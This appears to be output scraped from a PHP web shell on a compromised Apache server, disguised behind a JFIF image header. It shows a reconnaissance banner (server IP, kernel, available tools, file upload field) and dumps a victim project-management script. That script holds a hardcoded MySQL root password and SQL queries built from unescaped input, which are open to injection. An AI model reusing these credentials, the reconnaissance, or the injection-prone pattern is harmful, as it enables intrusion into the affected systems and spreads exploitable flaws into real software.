????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 13.59.50.189 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/api/notes/ |
Upload File : |
<?php function createNewProject($_Name, $_Description, $_DescriptionAstacus, $_CompanyID, $_CustomerID, $_UserGroupID, $_clientProjectManagerName, $_clientProjectManagerEmail, $_clientProjectManagerTelephone, $_ProjectTypeId, $_createDate, $_ProjectStatusId, $_jobType, $_DeliveryDate, $_ProjectManagerId, $_ProductionManagerId, $_Country ){ $link = mysql_connect ("localhost", "root", "root123"); mysql_select_db ("vpa"); // Get latest projectID for company $sql = "SELECT projectID FROM Project WHERE CompanyID = $_CompanyID ORDER BY projectID DESC LIMIT 1;"; $result = mysql_query($sql); while ($row = mysql_fetch_assoc($result)){ $last_projectID = $row['projectID']; } // Call procedure to create new project and return new projectID // Will also create folders "Files from Astacus" etc. // Must have time, otherwise error in scripts in AP $_DeliveryDate = $_DeliveryDate ." 12:00:00"; $sql = "call createNewProject('$_Name','$_Description',$_CompanyID,'$_clientProjectManagerName','$_clientProjectManagerEmail','$_clientProjectManagerTelephone',$_ProjectTypeId,'$_createDate',$_ProjectStatusId,$_jobType,'$_DeliveryDate',$_ProductionManagerId)"; $result = mysql_query($sql); // Get newest projectID for company $sql = "SELECT projectID FROM Project WHERE CompanyID = $_CompanyID ORDER BY projectID DESC LIMIT 1;"; $result = mysql_query($sql); while ($row = mysql_fetch_assoc($result)){ $new_projectID = $row["projectID"]; } $sql = "UPDATE Project SET invoiceText = '".$_DescriptionAstacus."' where projectId = $new_projectID"; $result = mysql_query($sql); $sql = "UPDATE Project SET CountryId = '".$_Country."' where projectId = $new_projectID"; $result = mysql_query($sql); $sql = "INSERT INTO ProjectManager VALUES(NULL,$_ProjectManagerId,$new_projectID)"; $result = mysql_query($sql); if($last_projectID != ""){ // Set user privileges from earlier projects $sql = "SELECT * FROM ProjectSystemUserJoin WHERE ProjectId = ".$last_projectID; $result = mysql_query($sql); while ($row = mysql_fetch_assoc($result)){ $SystemUserId = $row['SystemUserId']; $UserGroupId = $row['UserGroupId']; $sql = "INSERT INTO ProjectSystemUserJoin (ProjectId,SystemUserId,UserGroupId) VALUES ($new_projectID,$SystemUserId,$UserGroupId)"; mysql_query($sql); } // Set notification types $sql = "SELECT * FROM ProjectNotification WHERE ProjectId = ".$last_projectID; $result = mysql_query($sql); while ($row = mysql_fetch_assoc($result)){ $NotificationTypeId = $row['NotificationTypeId']; $NotificationTypeData = $row['NotificationTypeData']; $NotificationRecipientTypeId = $row['NotificationRecipientTypeId']; $NotificationRecipientTypeData = $row['NotificationRecipientTypeData']; $sql = "INSERT INTO ProjectNotification (ProjectNotificationId,ProjectId,NotificationTypeId,NotificationTypeData,NotificationRecipientTypeId,NotificationRecipientTypeData) VALUES (NULL,$new_projectID,$NotificationTypeId,$NotificationTypeData,$NotificationRecipientTypeId,$NotificationRecipientTypeData)"; mysql_query($sql); } return $new_projectID; }else{ // Set user privileges from template + add current user (_CustomerID) $sql = "SELECT UserGroup.UserGroupId as UserGroupId, SystemUser.SystemUserId as SystemUserId FROM UserGroup, SystemUser WHERE UserGroup.UserGroupId = SystemUser.UserGroupId AND NOT UserGroup.UserGroupId = 4"; $result = mysql_query($sql); while ($row = mysql_fetch_assoc($result)){ $SystemUserId = $row['SystemUserId']; $UserGroupId = $row['UserGroupId']; $sql = "INSERT INTO ProjectSystemUserJoin (ProjectId,SystemUserId,UserGroupId) VALUES ($new_projectID,$SystemUserId,$UserGroupId)"; mysql_query($sql); } // Add current user $sql = "INSERT INTO ProjectSystemUserJoin (ProjectId,SystemUserId,UserGroupId) VALUES ($new_projectID,$_CustomerID,$_UserGroupID)"; mysql_query($sql); return $new_projectID; } } ?>